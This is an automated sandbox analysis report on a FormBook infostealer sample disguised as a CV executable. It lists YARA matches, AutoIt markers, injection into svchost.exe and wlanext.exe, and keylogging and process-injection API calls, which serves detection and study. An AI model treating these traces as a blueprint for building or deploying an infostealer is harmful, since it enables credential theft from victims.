                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B62B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00B62B37
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B8F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00B8F7FF

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3229751089.00000000036F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3228314950.0000000003240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1752780836.00000000076A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: This is a third-party compiled AutoIt script.0_2_00B23D19
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: CV_ Filipa Barbosa.exe, 00000000.00000000.1358320274.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_5f5b8a5c-c
                Source: CV_ Filipa Barbosa.exe, 00000000.00000000.1358320274.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_95a2d360-4
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_ca9d3ba2-d
                Source: CV_ Filipa Barbosa.exeString found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_23a2dc36-0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C703 NtClose,2_2_0042C703
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034735C0 NtCreateMutant,LdrInitializeThunk,2_2_034735C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472B60 NtClose,LdrInitializeThunk,2_2_03472B60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03472DF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03474340 NtSetContextThread,2_2_03474340
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03473010 NtOpenDirectoryObject,2_2_03473010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03473090 NtSetValueKey,2_2_03473090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03474650 NtSuspendThread,2_2_03474650
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472BE0 NtQueryValueKey,2_2_03472BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472BF0 NtAllocateVirtualMemory,2_2_03472BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472B80 NtQueryInformationFile,2_2_03472B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472BA0 NtEnumerateValueKey,2_2_03472BA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472AD0 NtReadFile,2_2_03472AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472AF0 NtWriteFile,2_2_03472AF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472AB0 NtWaitForSingleObject,2_2_03472AB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034739B0 NtGetContextThread,2_2_034739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472F60 NtCreateProcessEx,2_2_03472F60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472F30 NtCreateSection,2_2_03472F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472FE0 NtCreateFile,2_2_03472FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472F90 NtProtectVirtualMemory,2_2_03472F90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472FA0 NtQuerySection,2_2_03472FA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472FB0 NtResumeThread,2_2_03472FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472E30 NtWriteVirtualMemory,2_2_03472E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472EE0 NtQueueApcThread,2_2_03472EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472E80 NtReadVirtualMemory,2_2_03472E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472EA0 NtAdjustPrivilegesToken,2_2_03472EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03473D70 NtOpenThread,2_2_03473D70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472D00 NtSetInformationFile,2_2_03472D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472D10 NtMapViewOfSection,2_2_03472D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03473D10 NtOpenProcessToken,2_2_03473D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472D30 NtUnmapViewOfSection,2_2_03472D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472DD0 NtDelayExecution,2_2_03472DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472DB0 NtEnumerateKey,2_2_03472DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472C60 NtCreateKey,2_2_03472C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472C70 NtFreeVirtualMemory,2_2_03472C70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472C00 NtQueryInformationProcess,2_2_03472C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472CC0 NtQueryVirtualMemory,2_2_03472CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472CF0 NtOpenProcess,2_2_03472CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03472CA0 NtQueryInformationToken,2_2_03472CA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A54340 NtSetContextThread,LdrInitializeThunk,5_2_03A54340
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A54650 NtSuspendThread,LdrInitializeThunk,5_2_03A54650
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_03A52BA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52BE0 NtQueryValueKey,LdrInitializeThunk,5_2_03A52BE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_03A52BF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52B60 NtClose,LdrInitializeThunk,5_2_03A52B60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52AF0 NtWriteFile,LdrInitializeThunk,5_2_03A52AF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52AD0 NtReadFile,LdrInitializeThunk,5_2_03A52AD0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52FB0 NtResumeThread,LdrInitializeThunk,5_2_03A52FB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52FE0 NtCreateFile,LdrInitializeThunk,5_2_03A52FE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52F30 NtCreateSection,LdrInitializeThunk,5_2_03A52F30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_03A52E80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52EE0 NtQueueApcThread,LdrInitializeThunk,5_2_03A52EE0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_03A52DF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52DD0 NtDelayExecution,LdrInitializeThunk,5_2_03A52DD0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_03A52D30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52D10 NtMapViewOfSection,LdrInitializeThunk,5_2_03A52D10
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_03A52CA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52C60 NtCreateKey,LdrInitializeThunk,5_2_03A52C60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_03A52C70
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A535C0 NtCreateMutant,LdrInitializeThunk,5_2_03A535C0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A539B0 NtGetContextThread,LdrInitializeThunk,5_2_03A539B0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52B80 NtQueryInformationFile,5_2_03A52B80
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52AB0 NtWaitForSingleObject,5_2_03A52AB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52FA0 NtQuerySection,5_2_03A52FA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52F90 NtProtectVirtualMemory,5_2_03A52F90
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52F60 NtCreateProcessEx,5_2_03A52F60
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52EA0 NtAdjustPrivilegesToken,5_2_03A52EA0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52E30 NtWriteVirtualMemory,5_2_03A52E30
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52DB0 NtEnumerateKey,5_2_03A52DB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52D00 NtSetInformationFile,5_2_03A52D00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52CF0 NtOpenProcess,5_2_03A52CF0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52CC0 NtQueryVirtualMemory,5_2_03A52CC0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A52C00 NtQueryInformationProcess,5_2_03A52C00
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A53090 NtSetValueKey,5_2_03A53090
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A53010 NtOpenDirectoryObject,5_2_03A53010
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A53D10 NtOpenProcessToken,5_2_03A53D10
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03A53D70 NtOpenThread,5_2_03A53D70
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03269300 NtReadFile,5_2_03269300
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03269190 NtCreateFile,5_2_03269190
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03269610 NtAllocateVirtualMemory,5_2_03269610
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_03269400 NtDeleteFile,5_2_03269400
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_032694B0 NtClose,5_2_032694B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B66685: CreateFileW,DeviceIoControl,CloseHandle,0_2_00B66685
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00B5ACC5
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B679D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00B679D3
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B4B0430_2_00B4B043
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B332000_2_00B33200
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B33B700_2_00B33B70
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5410F0_2_00B5410F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B402A40_2_00B402A4
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B2E3B00_2_00B2E3B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5038E0_2_00B5038E
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B406D90_2_00B406D9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5467F0_2_00B5467F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B8AACE0_2_00B8AACE
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B54BEF0_2_00B54BEF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B4CCC10_2_00B4CCC1
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B26F070_2_00B26F07
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B2AF500_2_00B2AF50
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B831BC0_2_00B831BC
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B4D1B90_2_00B4D1B9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3B11F0_2_00B3B11F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B4123A0_2_00B4123A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B5724D0_2_00B5724D
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B293F00_2_00B293F0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B613CA0_2_00B613CA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3F5630_2_00B3F563
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B296C00_2_00B296C0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6B6CC0_2_00B6B6CC
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B277B00_2_00B277B0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B8F7FF0_2_00B8F7FF
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B579C90_2_00B579C9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3FA570_2_00B3FA57
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B29B600_2_00B29B60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B27D190_2_00B27D19
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B49ED00_2_00B49ED0
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B3FE6F0_2_00B3FE6F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B27FA30_2_00B27FA3
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_014DF5200_2_014DF520
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004185C32_2_004185C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E0032_2_0040E003
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004100132_2_00410013
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E1482_2_0040E148
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E1532_2_0040E153
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042ED732_2_0042ED73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FDEA2_2_0040FDEA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FDF32_2_0040FDF3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004027602_2_00402760
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167CE2_2_004167CE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004167D32_2_004167D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041678C2_2_0041678C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402FB02_2_00402FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342D34C2_2_0342D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FA3522_2_034FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F132D2_2_034F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344E3F02_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035003E62_2_035003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0348739A2_2_0348739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E02742_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B2C02_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E12ED2_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034452A02_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034C81582_2_034C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0347516C2_2_0347516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0342F1722_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350B16B2_2_0350B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034301002_2_03430100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DA1182_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F81CC2_2_034F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344B1B02_2_0344B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035001AA2_2_035001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EF0CC2_2_034EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034470C02_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F70E92_2_034F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FF0E02_2_034FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034647502_2_03464750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034407702_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343C7C02_2_0343C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FF7B02_2_034FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F16CC2_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345C6E02_2_0345C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F75712_2_034F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034405352_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_035005912_2_03500591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DD5B02_2_034DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F24462_2_034F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034314602_2_03431460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FF43F2_2_034FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EE4F62_2_034EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FAB402_2_034FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FFB762_2_034FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F6BD72_2_034F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B5BF02_2_034B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0347DBF92_2_0347DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345FB802_2_0345FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FFA492_2_034FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F7A462_2_034F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B3A6C2_2_034B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034EDAC62_2_034EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343EA802_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034DDAAC2_2_034DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03485AA02_2_03485AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034499502_2_03449950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345B9502_2_0345B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034569622_2_03456962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034429A02_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0350A9A62_2_0350A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034428402_2_03442840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344A8402_2_0344A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034AD8002_2_034AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034438E02_2_034438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0346E8F02_2_0346E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034268B82_2_034268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B4F402_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FFF092_2_034FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03482F282_2_03482F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03460F302_2_03460F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03432FC82_2_03432FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344CFE02_2_0344CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03441F922_2_03441F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FFFB12_2_034FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440E592_2_03440E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FEE262_2_034FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FEEDB2_2_034FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03452E902_2_03452E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FCE932_2_034FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03449EB02_2_03449EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03443D402_2_03443D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F1D5A2_2_034F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034F7D732_2_034F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0344AD002_2_0344AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0345FDC02_2_0345FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0343ADE02_2_0343ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03458DBF2_2_03458DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03440C002_2_03440C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034B9C322_2_034B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03430CF22_2_03430CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034FFCF22_2_034FFCF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034E0CB52_2_034E0CB5
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC60E54_2_03EC60E5
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC60DA4_2_03EC60DA
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC7FA54_2_03EC7FA5
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03EC5F954_2_03EC5F95
                Source: C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exeCode function: 4_2_03ECE7654_2_03ECE765
